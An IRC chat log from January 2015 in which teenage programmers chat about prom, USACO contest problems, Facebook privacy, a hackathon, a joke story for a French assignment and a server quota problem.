[2015-01-19T15:54:18-0500] <nezorg> ...then again there's only person who I count as a "friend" who goes to my school
[2015-01-19T15:54:45-0500] <+Tamini> oh right
[2015-01-19T15:54:48-0500] <alokpathy> The rest of them are us :D
[2015-01-19T15:54:48-0500] <+Tamini> for guys its super expensive
[2015-01-19T15:54:51-0500] <+Tamini> <3333
[2015-01-19T15:54:59-0500] <alokpathy> Tamini: I thought it was more expensive for girls?
[2015-01-19T15:55:01-0500] <jwoglom> ..yay gender roles?
[2015-01-19T15:55:13-0500] <alokpathy> Tamini: 'cause like dresses are expensive
[2015-01-19T15:55:22-0500] <nezorg> oh that's what you mean
[2015-01-19T15:55:22-0500] <alokpathy> and makeovers and stuff if you want to do that
[2015-01-19T15:55:30-0500] <nezorg> I thought you meant the school actually charged more
[2015-01-19T15:55:33-0500] <nezorg> and was like "wat"
[2015-01-19T15:55:34-0500] <+Tamini> oh right true
[2015-01-19T15:55:41-0500] <alokpathy> nezorg: Well, tickets are also mad expensive
[2015-01-19T15:55:44-0500] <alokpathy> like $100+
[2015-01-19T15:55:45-0500] <+Tamini> yeah
[2015-01-19T15:55:54-0500] <nezorg> alokpathy: sure, but they're equal per gender, right?
[2015-01-19T15:55:56-0500] <+Tamini> and usually the person that asks (aka the guy) does the tickets
[2015-01-19T15:55:59-0500] <alokpathy> nezorg: Yeah
[2015-01-19T15:56:07-0500] <alokpathy> Tamini: Unfortunately
[2015-01-19T15:56:25-0500] <+Tamini> lol
[2015-01-19T15:56:36-0500] <nezorg> and here we arrive at the conclusion that there's no good reason to go :P
[2015-01-19T15:56:42-0500] <+Tamini> but but
[2015-01-19T15:56:47-0500] <+Tamini> there are pretty girls you can ask!
[2015-01-19T15:56:53-0500] <nezorg> le gasp
[2015-01-19T15:57:25-0500] <+Tamini> yes
[2015-01-19T15:57:32-0500] <+Tamini> bascially the point of prom
[2015-01-19T15:57:35-0500] <nezorg> why would you ask a pretty girl to prom when you could actually do something interesting instead
[2015-01-19T15:57:36-0500] <+Tamini> or any other dance lol
[2015-01-19T15:57:42-0500] <+Tamini> because it's a good excuse.
[2015-01-19T15:57:47-0500] <alokpathy> Tamini: There aren't very many girls I'm interested in asking :P
[2015-01-19T15:57:49-0500] <jwoglom> nezorg: i think the assumption is that pretty girls are interesting :P
[2015-01-19T15:57:54-0500] <+Tamini> alokpathy: isnt there that one girl?
[2015-01-19T15:57:57-0500] <nezorg> jwoglom: no I mean
[2015-01-19T15:57:58-0500] <alokpathy> Tamini: Wait who?
[2015-01-19T15:58:06-0500] <nezorg> you could do something interesting with said pretty girl
[2015-01-19T15:58:07-0500] <+Tamini> that you're really good friends with
[2015-01-19T15:58:08-0500] <alokpathy> Tamini: Shannon?
[2015-01-19T15:58:08-0500] <+Tamini> or something
[2015-01-19T15:58:09-0500] <nezorg> instead of going to prom
[2015-01-19T15:58:10-0500] <+Tamini> yes
[2015-01-19T15:58:17-0500] <alokpathy> Tamini: She doesn't want to go :P
[2015-01-19T15:58:19-0500] <jwoglom> nezorg: ah true
[2015-01-19T15:58:21-0500] <+Tamini> oh, LOL
[2015-01-19T15:58:28-0500] <+Tamini> wait why is everyone at your school so lame about prom
[2015-01-19T15:58:31-0500] <alokpathy> nezorg: Words of wisdom
[2015-01-19T15:58:35-0500] <+Tamini> alan doesnt want to ask me to jprom either :(
[2015-01-19T15:58:39-0500] <alokpathy> Tamini: Not everybody
[2015-01-19T15:58:51-0500] <alokpathy> Tamini: Also you live so far, would you want to come? xD
[2015-01-19T15:58:54-0500] <nezorg> I think in general my school does like prom
[2015-01-19T15:58:55-0500] <+Tamini> nezorg: it's much easier to ask a girl to *predefined social event* than just out
[2015-01-19T15:59:04-0500] <nezorg> why?
[2015-01-19T15:59:04-0500] <+Tamini> alokpathy: LOL thats true
[2015-01-19T15:59:10-0500] <+Tamini> i'd go for "princeton college visits"
[2015-01-19T15:59:15-0500] <alokpathy> Tamini: Also jprom is like
[2015-01-19T15:59:18-0500] <alokpathy> most people go, but not everybody
[2015-01-19T15:59:21-0500] <alokpathy> prom is like
[2015-01-19T15:59:22-0500] <+Tamini> eh
[2015-01-19T15:59:22-0500] <alokpathy> everybody goes
[2015-01-19T15:59:25-0500] <+Tamini> i mean
[2015-01-19T15:59:27-0500] <+Tamini> i miss alan man
[2015-01-19T15:59:28-0500] <alokpathy> except for a few
[2015-01-19T15:59:36-0500] <alokpathy> Tamini: Ask him to your jprom :D
[2015-01-19T15:59:41-0500] <+Tamini> we don't have one! :D
[2015-01-19T15:59:45-0500] <nezorg> <Tamini> nezorg: it's much easier to ask a girl to *predefined social event* than just out
[2015-01-19T15:59:45-0500] <nezorg> <nezorg> why?
[2015-01-19T15:59:51-0500] <alokpathy> Tamini: Excuses excuses
[2015-01-19T15:59:53-0500] <+Tamini> nezorg: do you disagree?
[2015-01-19T15:59:54-0500] <+Tamini> o-o
[2015-01-19T16:00:05-0500] <nezorg> well I don't exactly have much experience
[2015-01-19T16:00:06-0500] <nezorg> but why?
[2015-01-19T16:00:23-0500] <+Tamini> because it's i guess
[2015-01-19T16:00:25-0500] <+Tamini> less pressure(?)
[2015-01-19T16:00:47-0500] <jwoglom> if it's during asking time for $socialevent then other people are doing it
[2015-01-19T16:00:50-0500] <jwoglom> and it's less awkward
[2015-01-19T16:00:59-0500] <nezorg> ...huh
[2015-01-19T16:01:04-0500] <nezorg> I guess I'm just so biased against it
[2015-01-19T16:01:10-0500] <nezorg> it seems like it would be harder
[2015-01-19T16:01:17-0500] <+Tamini> maybe
[2015-01-19T16:01:17-0500] <+Tamini> i mean
[2015-01-19T16:01:22-0500] <+Tamini> i've never asked someone out and had it turn out well
[2015-01-19T16:01:34-0500] <+Tamini> except for sadies so
[2015-01-19T16:01:37-0500] <+Tamini> im also a bit biased
[2015-01-19T16:02:03-0500] <nezorg> sadies?
[2015-01-19T16:02:08-0500] <+Tamini> uhh
[2015-01-19T16:02:10-0500] <+Tamini> girls -> guys
[2015-01-19T16:02:16-0500] <nezorg> huh
[2015-01-19T16:02:20-0500] <+Tamini> have i not shown you my asking yet? o-o
[2015-01-19T16:02:25-0500] <nezorg> ...no?
[2015-01-19T16:02:28-0500] <+Tamini> its a dance where girls are supposed to ask guys
[2015-01-19T16:02:28-0500] <+Tamini> brb
[2015-01-19T16:02:34-0500] <+Tamini> lemme find
[2015-01-19T16:02:50-0500] <+Tamini> pm'd
[2015-01-19T16:03:35-0500] <alokpathy> Tamini: I sincerely wish that there was a dance that encouraged the girls to ask
[2015-01-19T16:03:46-0500] <+Tamini> you guys have jprom but not sadies? O_O
[2015-01-19T16:03:50-0500] <alokpathy> Nope
[2015-01-19T16:03:55-0500] <+Tamini> weird
[2015-01-19T16:04:04-0500] <+Tamini> psh, you dont need to wait for girls to ask you
[2015-01-19T16:04:09-0500] <+Tamini> make the first move!!!!! :P
[2015-01-19T16:04:14-0500] <nezorg> lol
[2015-01-19T16:04:17-0500] <jwoglom> that's kind of hard, lol
[2015-01-19T16:04:26-0500] <+Tamini> nezorg: what do you think yo
[2015-01-19T16:04:31-0500] <+Tamini> alokpathy helped me write it
[2015-01-19T16:04:32-0500] <alokpathy> Tamini: I think we almost proved that NP-C
[2015-01-19T16:04:39-0500] <+Tamini> alokpathy: it's a DAG
[2015-01-19T16:04:47-0500] <alokpathy> No no not your sadies problem
[2015-01-19T16:04:55-0500] <alokpathy> the GIRL problem
[2015-01-19T16:04:59-0500] <+Tamini> oh LOL
[2015-01-19T16:05:10-0500] <+Tamini> then prove p=np
[2015-01-19T16:05:14-0500] <+Tamini> you'd be a billionaire with ALL the girls
[2015-01-19T16:05:18-0500] <alokpathy> If it weren't for the Girls are complicated theorem we'd be good
[2015-01-19T16:05:22-0500] <nezorg> Tamini: disappointed that you didn't bake that number of cookies
[2015-01-19T16:05:36-0500] <+Tamini> oh hardmath123's last theorem
[2015-01-19T16:05:37-0500] <nezorg> also what kind of layout plan has no cycles
[2015-01-19T16:05:49-0500] <+Tamini> nezorg: a lot of our hallways are one-way
[2015-01-19T16:05:51-0500] <+Tamini> :D
[2015-01-19T16:06:01-0500] <+Tamini> (also with cycles the problem is np-c)
[2015-01-19T16:06:09-0500] <nezorg> yeah
[2015-01-19T16:06:10-0500] <nezorg> but still
[2015-01-19T16:06:22-0500] <alokpathy> nezorg: Screw being realistic :P
[2015-01-19T16:06:38-0500] <+Tamini> alokpathy really wanted me to make the problem np-c
[2015-01-19T16:06:39-0500] <nezorg> I don't think there's anyone in my grade other than me that does usaco
[2015-01-19T16:06:45-0500] <+Tamini> aw
[2015-01-19T16:06:50-0500] <alokpathy> Aw
[2015-01-19T16:06:53-0500] <nezorg> and the only other people in the whole school are kenzie and kenyon
[2015-01-19T16:06:56-0500] <alokpathy> It's okay you have us :D
[2015-01-19T16:06:56-0500] <+Tamini> you have keon and kenzie tho right
[2015-01-19T16:07:03-0500] <+Tamini> keon -> kenyon?
[2015-01-19T16:07:05-0500] <alokpathy> Who are they?
[2015-01-19T16:07:09-0500] <+Tamini> dude the guy actually knows what they're doing wtf
[2015-01-19T16:07:09-0500] <nezorg> Tamini: yeah
[2015-01-19T16:07:11-0500] <+Tamini> :(
[2015-01-19T16:07:14-0500] <+Tamini> im like
[2015-01-19T16:07:20-0500] <+Tamini> "when i was a sophomore i had half a brain cell"
[2015-01-19T16:07:21-0500] <nezorg> he said he just got lucky :P
[2015-01-19T16:07:27-0500] <+Tamini> alokpathy: people on burnt toast :O
[2015-01-19T16:07:37-0500] <nezorg> I liked his solution for #3, though
[2015-01-19T16:07:47-0500] <nezorg> it was like that MITM pico problem
[2015-01-19T16:07:49-0500] <nezorg> N^2 -> 2N
[2015-01-19T16:07:50-0500] <+Tamini> yeah, much more clever than mine
[2015-01-19T16:07:58-0500] <+Tamini> my solution for #2 was actually the same thing
[2015-01-19T16:08:02-0500] <alokpathy> Tamini: Wasn't yours brute force?
[2015-01-19T16:08:07-0500] <+Tamini> my #3 was brute force
[2015-01-19T16:08:13-0500] <alokpathy> Yeah, that
[2015-01-19T16:08:17-0500] <+Tamini> my #2 was compute midpoint, intersection check
[2015-01-19T16:08:24-0500] <+Tamini> it was smart
[2015-01-19T16:08:35-0500] <alokpathy> Lol my past two USACO contests have been
[2015-01-19T16:08:45-0500] <+Tamini> you make it sound like there are no technical people in your school but they seem to know what they're doing! :P
[2015-01-19T16:08:53-0500] <alokpathy> Spend two hours on #1 for whatever reason
[2015-01-19T16:09:02-0500] <alokpathy> Spent 1.5 hours on #2 because debugging is hard
[2015-01-19T16:09:05-0500] <alokpathy> BS #3
[2015-01-19T16:09:14-0500] <+Tamini> lol
[2015-01-19T16:09:19-0500] <alokpathy> then get the solution after it ends
[2015-01-19T16:09:20-0500] <alokpathy> and hate myself
[2015-01-19T16:09:24-0500] <+Tamini> also brute force was so bad
[2015-01-19T16:09:32-0500] <+Tamini> i kept getting scores of 4-8
[2015-01-19T16:09:44-0500] <+Tamini> i rerolled until good scores and they shut me out
[2015-01-19T16:09:44-0500] <+Tamini> LOL
[2015-01-19T16:09:48-0500] <alokpathy> Darn I would talk about my #3
[2015-01-19T16:09:52-0500] <alokpathy> by JacobEdelman is probably still doing it
[2015-01-19T16:09:53-0500] <nezorg> alokpathy: 2 hours on #1? :P
[2015-01-19T16:09:58-0500] <+JacobEdelman> also, I am shh
[2015-01-19T16:09:58-0500] <nezorg> at least you could do #2
[2015-01-19T16:10:07-0500] <nezorg> I BSed it and got 8/10 though
[2015-01-19T16:10:24-0500] <alokpathy> nezorg: #1 in November was because of an idiotic mistake
[2015-01-19T16:10:30-0500] <nezorg> oh, in november
[2015-01-19T16:10:32-0500] <alokpathy> December*
[2015-01-19T16:10:36-0500] <nezorg> yeah
[2015-01-19T16:10:38-0500] <nezorg> in any case
[2015-01-19T16:10:43-0500] • nezorg: is not a good computer scientist
[2015-01-19T16:10:50-0500] <+Tamini> me neither
[2015-01-19T16:10:53-0500] <alokpathy> Like so
[2015-01-19T16:10:55-0500] • Tamini: high fives nezorg
[2015-01-19T16:11:03-0500] <alokpathy> The input was like
[2015-01-19T16:11:07-0500] • nezorg: cowers in fear at the appearnce of a social gesture
[2015-01-19T16:11:11-0500] <nezorg> *appearance
[2015-01-19T16:11:15-0500] <+Tamini> :(
[2015-01-19T16:11:18-0500] <alokpathy> N number and then M lines of numbers
[2015-01-19T16:11:20-0500] <nezorg> xP
[2015-01-19T16:11:28-0500] <alokpathy> but I iterated for N lines
[2015-01-19T16:11:42-0500] <alokpathy> and spent too long trying to figure that out
[2015-01-19T16:13:07-0500] <alokpathy> I am officially friends with zrl on Facebook
[2015-01-19T16:13:27-0500] <nezorg> ewww facebook
[2015-01-19T16:13:29-0500] • nezorg: shuts up
[2015-01-19T16:13:47-0500] <alokpathy> nezorg: You should join so I can friend you :P
[2015-01-19T16:13:54-0500] <+Tamini> lol
[2015-01-19T16:13:55-0500] <+Tamini> yeah
[2015-01-19T16:14:00-0500] <nezorg> NNEEEVVVAAAAAAAA
[2015-01-19T16:14:04-0500] <+Tamini> also wait nezorg
[2015-01-19T16:14:08-0500] <nezorg> (although I have an account in order to have a dev account xP)
[2015-01-19T16:14:11-0500] <+Tamini> can i get a quick confirm on kenzie's gender
[2015-01-19T16:14:13-0500] <+Tamini> and ooh really
[2015-01-19T16:14:15-0500] <nezorg> male
[2015-01-19T16:14:15-0500] <+Tamini> can i find it O_O
[2015-01-19T16:14:20-0500] <+Tamini> o, ok
[2015-01-19T16:14:23-0500] <nezorg> Tamini: no, it has no friends
[2015-01-19T16:14:26-0500] <+Tamini> awh :(
[2015-01-19T16:14:38-0500] <alokpathy> We might still be able to find it.
[2015-01-19T16:14:42-0500] <alokpathy> If we try hard enough.
[2015-01-19T16:14:48-0500] <nezorg> good luck with that
[2015-01-19T16:14:56-0500] <alokpathy> nezorg: What's your FB name?
[2015-01-19T16:15:09-0500] <nezorg> that would rob you of the fun!
[2015-01-19T16:15:35-0500] <+Tamini> is it your given name?
[2015-01-19T16:16:15-0500] <alokpathy> nezorg: Fine, just tell me your last name :P
[2015-01-19T16:16:41-0500] <nezorg> no
[2015-01-19T16:16:49-0500] <+Tamini> to me or to alok?
[2015-01-19T16:16:49-0500] <nezorg> the whole point is that fb knows nothing about me
[2015-01-19T16:16:54-0500] <+Tamini> ah okay
[2015-01-19T16:17:01-0500] <alokpathy> Aw okay
[2015-01-19T16:17:15-0500] <nezorg> ...well they know about my life up to about 9 months ago
[2015-01-19T16:17:23-0500] <nezorg> but nothing after that!
[2015-01-19T16:17:29-0500] <nezorg> (unless other people mention me...)
[2015-01-19T16:17:41-0500] <alokpathy> wat
[2015-01-19T16:17:42-0500] <nezorg> (but I'm not social so hopefully people don't xP)
[2015-01-19T16:17:46-0500] <alokpathy> You used to have a FB?
[2015-01-19T16:17:49-0500] <nezorg> yes
[2015-01-19T16:17:50-0500] <+Tamini> wat
[2015-01-19T16:17:53-0500] <+Tamini> why no more D:
[2015-01-19T16:18:03-0500] <nezorg> privacy
[2015-01-19T16:18:10-0500] <nezorg> I was already skeptical
[2015-01-19T16:18:14-0500] <nezorg> then I read "dragnet nation"
[2015-01-19T16:18:19-0500] <+Tamini> lol oh
[2015-01-19T16:18:20-0500] <nezorg> (enlightening book, btw)
[2015-01-19T16:19:12-0500] <+Tamini> i need a list of books to read
[2015-01-19T16:19:15-0500] <+Tamini> lol
[2015-01-19T16:19:25-0500] <+Tamini> and kartik promised to bring me sisl at hmmt
[2015-01-19T16:20:20-0500] <alokpathy> sisl?
[2015-01-19T16:20:32-0500] <nezorg> read dragnet nation if you want to be more paranoid! :D
[2015-01-19T16:20:50-0500] <+Tamini> i think you're paranoid enough
[2015-01-19T16:20:55-0500] <+Tamini> and stranger in a strange land
[2015-01-19T16:31:31-0500] <alokpathy> awe: Ah, I think I figured out the real reason PennApps gave us penguins
[2015-01-19T16:31:41-0500] <alokpathy> It was to do rubber-duck debugging with a penguin.
[2015-01-19T16:32:49-0500] <+Tamini> lol
[2015-01-19T16:32:50-0500] <+Tamini> ooh
[2015-01-19T16:32:53-0500] <+Tamini> what did you guys win?
[2015-01-19T16:33:04-0500] <alokpathy> Tamini: Nothing :P
[2015-01-19T16:33:08-0500] <alokpathy> They only gave prizes to the top 3
[2015-01-19T16:33:13-0500] <alokpathy> and sponsor prizes.
[2015-01-19T16:33:13-0500] <+Tamini> aw
[2015-01-19T16:33:22-0500] <alokpathy> We weren't eligible for any sponsor prize though xD
[2015-01-19T16:33:23-0500] <nezorg> what were the top 3?
[2015-01-19T16:33:25-0500] <alokpathy> Aside from NameCheap
[2015-01-19T16:33:35-0500] <alokpathy> nezorg: First place was this app that helped somebody perform CPR
[2015-01-19T16:33:42-0500] <nezorg> huh
[2015-01-19T16:33:49-0500] <alokpathy> Basically it was just like
[2015-01-19T16:33:53-0500] <alokpathy> a bunch of instructions
[2015-01-19T16:33:58-0500] <nezorg> sounds like a pdf
[2015-01-19T16:34:06-0500] <alokpathy> pinged other people in the general area with the app to call 911
[2015-01-19T16:34:14-0500] <alokpathy> and vibrated at the pace you need to do chest compressions.
[2015-01-19T16:34:19-0500] <nezorg> oh, that's sorta interesting
[2015-01-19T16:34:19-0500] <nezorg> kinda
[2015-01-19T16:34:32-0500] <alokpathy> Some people complained because it wasn't technically challenging
[2015-01-19T16:34:35-0500] <jwoglom> only problem with that is "other people in the area with the app"
[2015-01-19T16:34:46-0500] <alokpathy> though it was probably the most useful out of the entire top 10.
[2015-01-19T16:34:48-0500] <jwoglom> i mean that's really the only way you can do that but
[2015-01-19T16:34:54-0500] <jwoglom> no one else in the area is going to have the app :P
[2015-01-19T16:35:00-0500] <alokpathy> xD
[2015-01-19T16:35:07-0500] <alokpathy> I forgot who 2nd place was
[2015-01-19T16:35:15-0500] <alokpathy> 3rd place was 3D fruit ninja
[2015-01-19T16:35:20-0500] <alokpathy> with an occulus and a myo
[2015-01-19T16:35:25-0500] <+Tamini> ooh
[2015-01-19T16:35:28-0500] <+Tamini> that's kinda awesome
[2015-01-19T16:35:33-0500] <+Tamini> who were the people?
[2015-01-19T16:35:44-0500] <alokpathy> I don't remember.
[2015-01-19T16:35:51-0500] <alokpathy> 2nd place was CMU
[2015-01-19T16:36:03-0500] <alokpathy> Yeah, the fruit ninja was pretty cool
[2015-01-19T16:36:07-0500] <alokpathy> although not very useful.
[2015-01-19T16:36:24-0500] <alokpathy> I played with it though and it was pretty fun.
[2015-01-19T16:36:39-0500] <+Tamini> lol
[2015-01-19T16:37:00-0500] <alokpathy> On another note, awebot just PMed me "You've got 206 bones in your body. Want one more?"
[2015-01-19T16:37:06-0500] <alokpathy> I'm scared.
[2015-01-19T16:37:26-0500] <+Tamini> LOL what
[2015-01-19T16:37:36-0500] <alokpathy> I have no idea LOL
[2015-01-19T16:37:58-0500] <alokpathy> JacobEdelman: Are you done with USACO?
[2015-01-19T16:41:40-0500] <+JacobEdelman> soon
[2015-01-19T16:41:42-0500] <+JacobEdelman> 36 min left
[2015-01-19T16:53:37-0500] <+JacobEdelman> that moment when you realize your program fails cause you stopped writing mid-coding...
[2015-01-19T16:54:48-0500] <alokpathy> wat
[2015-01-19T16:56:20-0500] <+Tamini> lolol
[2015-01-19T16:56:23-0500] <+Tamini> i do that sometimes
[2015-01-19T16:56:30-0500] <alokpathy> Wait what do you mean?
[2015-01-19T16:56:34-0500] <+Tamini> i forget what i was doing mid-line
[2015-01-19T16:56:39-0500] <+Tamini> move on to something else
[2015-01-19T16:56:47-0500] <+Tamini> "why does this not compi-oh i never finished it"
[2015-01-19T16:56:53-0500] <alokpathy> Oh wiat xD
[2015-01-19T16:56:56-0500] <alokpathy> That's weird
[2015-01-19T16:57:06-0500] <+Tamini> i have an attention span of -7
[2015-01-19T17:17:23-0500] <+JacobEdelman> done
[2015-01-19T17:17:28-0500] <+Tamini> yaaay
[2015-01-19T17:17:31-0500] <alokpathy> JacobEdelman: How'd it go?
[2015-01-19T17:17:38-0500] <+JacobEdelman> lets make a usaco channell
[2015-01-19T17:17:55-0500] <+Tamini> lol no
[2015-01-19T17:17:59-0500] <+Tamini> i dont want to discuss it anymore
[2015-01-19T17:17:59-0500] <+Tamini> :(
[2015-01-19T17:18:03-0500] <+Tamini> i already cried it out
[2015-01-19T17:18:06-0500] <+JacobEdelman> #usaco
[2015-01-19T17:18:15-0500] <+JacobEdelman> I wann discuss with alok at least
[2015-01-19T17:18:19-0500] <+JacobEdelman> you can come and commiserate
[2015-01-19T18:12:15-0500] <+hardmath123> i can't tell if i'm intoxicated or the text on my chipotle bag is legitimately profound :/
[2015-01-19T18:12:41-0500] <@awe> hardmath123: A little of both.
[2015-01-19T18:12:53-0500] <@awe> hardmath123: If it makes you feel better, the Chipotle bag text is written by actual writers.
[2015-01-19T18:13:09-0500] <+Tamini> read it for us!
[2015-01-19T18:13:15-0500] <+Tamini> i want chipotle now :/
[2015-01-19T18:13:18-0500] <+hardmath123> i can't, it's in the garbage can
[2015-01-19T18:13:22-0500] <+hardmath123> but the gist was
[2015-01-19T18:13:35-0500] <@awe> I had Moe's today.
[2015-01-19T18:13:55-0500] <+hardmath123> "I had 7 friends in high school. But that's okay. I wasn't a jerk to the other 493 people in my class just because I didn't like them."
[2015-01-19T18:15:03-0500] <+hardmath123> Tamini: http://cultivatingthought.com/author/judd-apatow/ scroll down
[2015-01-19T18:20:22-0500] <+Tamini> lol
[2015-01-19T18:21:50-0500] <@awe> Q. WHY ARE YOU PARTICIPATING IN THE CULTIVATING THOUGHT SERIES?
[2015-01-19T18:21:50-0500] <@awe> A. I heard there was free food involved. And I guess I believe the spreading of interesting ideas is important.
[2015-01-19T18:21:51-0500] <@awe> Lol.
[2015-01-19T18:22:05-0500] <+hardmath123> I believe the spreading of food is important.
[2015-01-19T18:22:11-0500] <+hardmath123> It doesn't even have to be interesting.
[2015-01-19T18:34:12-0500] <Tamini_> lol
[2015-01-19T18:38:20-0500] <@awe> hardmath123: okay, I'm going to buy that domain now
[2015-01-19T18:39:52-0500] <@awe> Fuck me, I think .town went up in price.
[2015-01-19T18:40:06-0500] <+hardmath123> :(
[2015-01-19T18:40:18-0500] <@awe> Ah well.
[2015-01-19T18:41:44-0500] <Tamini_> awh
[2015-01-19T18:45:35-0500] <@awe> hardmath123: I bought it, but I need a code from Nickolas in order to push it to him.
[2015-01-19T18:46:08-0500] <+hardmath123> uh
[2015-01-19T18:46:19-0500] <+hardmath123> could you email him about it?
[2015-01-19T18:47:18-0500] <+Tamini> oh
[2015-01-19T18:47:25-0500] <+Tamini> you got the domain :D
[2015-01-19T18:49:59-0500] <@awe> hardmath123: I did.
[2015-01-19T18:50:09-0500] <@awe> hardmath123: I was just keeping you updated, bb.
[2015-01-19T18:50:34-0500] <+hardmath123> Oh, thanks.
[2015-01-19T18:50:51-0500] • hardmath123: 's limerick queue is growing.
[2015-01-19T18:50:58-0500] <+Tamini> lol
[2015-01-19T18:51:08-0500] <+Tamini> who else is in it?
[2015-01-19T18:51:16-0500] <+hardmath123> connor
[2015-01-19T18:51:18-0500] <+hardmath123> you don't know him
[2015-01-19T18:51:20-0500] <+Tamini> ah
[2015-01-19T18:51:25-0500] <+Tamini> wait one sec lemme add myself to queue
[2015-01-19T18:53:10-0500] <+Tamini> rip no i have like 40 cents in bitcoins
[2015-01-19T18:59:10-0500] <+hardmath123> also crud i need to write that soap opera
[2015-01-19T18:59:12-0500] <+hardmath123> dammit
[2015-01-19T18:59:29-0500] <+hardmath123> Tamini: tell me stories!
[2015-01-19T18:59:39-0500] <+Tamini> hm?
[2015-01-19T18:59:45-0500] <+Tamini> be more specific@
[2015-01-19T19:00:00-0500] <+hardmath123> I need a story to soap operafy for a french project.
[2015-01-19T19:07:26-0500] <+Tamini> oh right
[2015-01-19T19:07:27-0500] <+Tamini> hmm
[2015-01-19T19:07:35-0500] <+Tamini> what kind of story do you need?
[2015-01-19T19:08:58-0500] <@awe> hardmath123: so, one time, there was this cat right
[2015-01-19T19:09:02-0500] <@awe> hardmath123: and he's arguing with this burrito
[2015-01-19T19:09:11-0500] <+hardmath123> how do you say burrito?
[2015-01-19T19:09:30-0500] <@awe> hardmath123: the burrito is all like "No, I think conservative fiscal policies are legitimate! Republicans are the party of fiscal responsibility."
[2015-01-19T19:10:07-0500] <@awe> hardmath123: and the cat is like "That's a load of bullshit. All you care about is avoiding taxes on the assets you amassed by appropriating surplus from the proletariat!"
[2015-01-19T19:10:54-0500] <ubuntor> beautiful
[2015-01-19T19:11:13-0500] <@awe> and then the burrito said "That's nonsense. I built my fortune through my own hard labor!"
[2015-01-19T19:11:30-0500] <+Tamini> lolol
[2015-01-19T19:11:37-0500] <+Tamini> i feel like that'd be slightly difficult to make french
[2015-01-19T19:11:37-0500] <+Tamini> :D
[2015-01-19T19:12:12-0500] <@awe> and the cat responds "That too is bullshit. You started the business by stealing money from a friend, and your first worker was a mouse that you literally enslaved."
[2015-01-19T19:12:14-0500] <+hardmath123> then again, i think proletariat derives from a french root
[2015-01-19T19:12:27-0500] <@awe> The burrito said "That all took hard work!"
[2015-01-19T19:12:52-0500] <@awe> The cat then ate the burrito.
[2015-01-19T19:14:30-0500] <+Tamini> thats true
[2015-01-19T19:14:31-0500] <+Tamini> LOL
[2015-01-19T19:15:33-0500] <+hardmath123> ok
[2015-01-19T19:15:36-0500] <+hardmath123> i have 40 words
[2015-01-19T19:15:41-0500] <+hardmath123> that's 10% of the way there
[2015-01-19T19:16:18-0500] <@awe> Woo.
[2015-01-19T19:17:30-0500] <+Tamini>  yay
[2015-01-19T19:17:34-0500] <+Tamini> are you going with the burrito story?
[2015-01-19T19:19:04-0500] <@awe> I hope so.
[2015-01-19T19:20:29-0500] <@awe> So, I'm thinking I might move email to Rackspace.
[2015-01-19T19:20:30-0500] <@awe> Thoughts?
[2015-01-19T19:20:58-0500] <+hardmath123> wow, google drive highlights gender disagreement
[2015-01-19T19:21:04-0500] <+hardmath123> i might actually not fail this assignment
[2015-01-19T19:21:38-0500] <+Tamini> wait really
[2015-01-19T19:21:40-0500] <+Tamini> whoa thats cool
[2015-01-19T19:23:32-0500] <@awe> That is neat.
[2015-01-19T19:32:49-0500] <ubuntor> http://www.washingtonpost.com/news/volokh-conspiracy/wp/2015/01/17/over-80-percent-of-americans-support-mandatory-labels-on-foods-containing-dna/
[2015-01-19T19:34:56-0500] <+hardmath123> foods containing DNA
[2015-01-19T19:35:12-0500] <+hardmath123> i would be much more afrait of foods not containing DNA.
[2015-01-19T19:35:19-0500] <jwoglom> 'murica.
[2015-01-19T19:37:31-0500] <alokpathy> Studies show that 100% of people who have gone on the internet will die at some point in the future.
[2015-01-19T19:37:35-0500] <alokpathy> We gon die guyz
[2015-01-19T19:38:11-0500] <jwoglom> !s/gone on the internet/been in contact with water/g
[2015-01-19T19:38:49-0500] <alokpathy> Dihydrogen monoxide is deadly
[2015-01-19T19:39:53-0500] <+Tamini> super deadly
[2015-01-19T19:40:05-0500] <+Tamini> causes dehydration and stuff
[2015-01-19T19:40:22-0500] <jwoglom> but doesn't lack of sufficient dihydrogen monoxide also cause dehydration?!
[2015-01-19T19:40:29-0500] <jwoglom> spooky.
[2015-01-19T19:40:56-0500] <+hardmath123> 120 words :D
[2015-01-19T19:45:29-0500] <+Tamini> yaay
[2015-01-19T19:45:33-0500] <+Tamini> how's the burrito doing?
[2015-01-19T19:46:45-0500] <+hardmath123> it's not about burritos
[2015-01-19T19:46:50-0500] <+Tamini> whats it about?
[2015-01-19T19:49:15-0500] <+hardmath123> it's a random lame love story, but i'm trying to involve pdgn people just for fun
[2015-01-19T19:50:37-0500] <+Tamini> LOL
[2015-01-19T19:50:40-0500] <+Tamini> oh god
[2015-01-19T19:50:44-0500] <+Tamini> pm me the exact plot pls
[2015-01-19T19:50:44-0500] <+Tamini> <3
[2015-01-19T19:51:14-0500] <+hardmath123> umm
[2015-01-19T19:54:50-0500] <LittleBobbyTables> Spoiler alert: Everyone loves me
[2015-01-19T19:58:58-0500] <alokpathy> LittleBobbyTables: Not much of a spoiler <3
[2015-01-19T20:00:10-0500] <+Tamini> thats actually questionably true
[2015-01-19T20:00:11-0500] <+Tamini> and lolol
[2015-01-19T20:00:46-0500] <ubuntor> time for usaco
[2015-01-19T20:01:14-0500] <LittleBobbyTables> <3
[2015-01-19T20:01:22-0500] <+Tamini> of course, jacob
[2015-01-19T20:01:22-0500] <+Tamini> :P
[2015-01-19T20:03:28-0500] <LittleBobbyTables> Who DOESNT love me?
[2015-01-19T20:03:45-0500] <+Tamini> *raises hand*
[2015-01-19T20:03:46-0500] <+Tamini> i mean
[2015-01-19T20:03:46-0500] <+Tamini> :P
[2015-01-19T20:04:59-0500] <LittleBobbyTables> wow ok
[2015-01-19T20:05:06-0500] <+hardmath123> I don't know (who|what|where|why) you are.
[2015-01-19T20:05:21-0500] <+Tamini> LBT is an xkcd comic come to life
[2015-01-19T20:05:39-0500] <LittleBobbyTables> I'm none of those, I'm a when.
[2015-01-19T20:11:28-0500] <@awe> That is true.
[2015-01-19T20:19:18-0500] <@awe> hardmath123: okay, I pushed the domain to Nickolas now.
[2015-01-19T20:19:58-0500] <+hardmath123> :D
[2015-01-19T20:20:04-0500] <+hardmath123> Awe-some.
[2015-01-19T20:23:27-0500] <+Tamini> :D
[2015-01-19T20:24:45-0500] <+hardmath123> we're currently fighting fires on the server
[2015-01-19T20:24:58-0500] <+hardmath123> unix claims that this user has exceeded his quota
[2015-01-19T20:25:00-0500] <+hardmath123> and he has like no files
[2015-01-19T20:25:09-0500] <+hardmath123> it's very weird and also a little scary
[2015-01-19T20:25:26-0500] <+hardmath123> we like obliteratied his account and resuscitated it and it didn't help
[2015-01-19T20:25:30-0500] <+hardmath123> also two system reboots
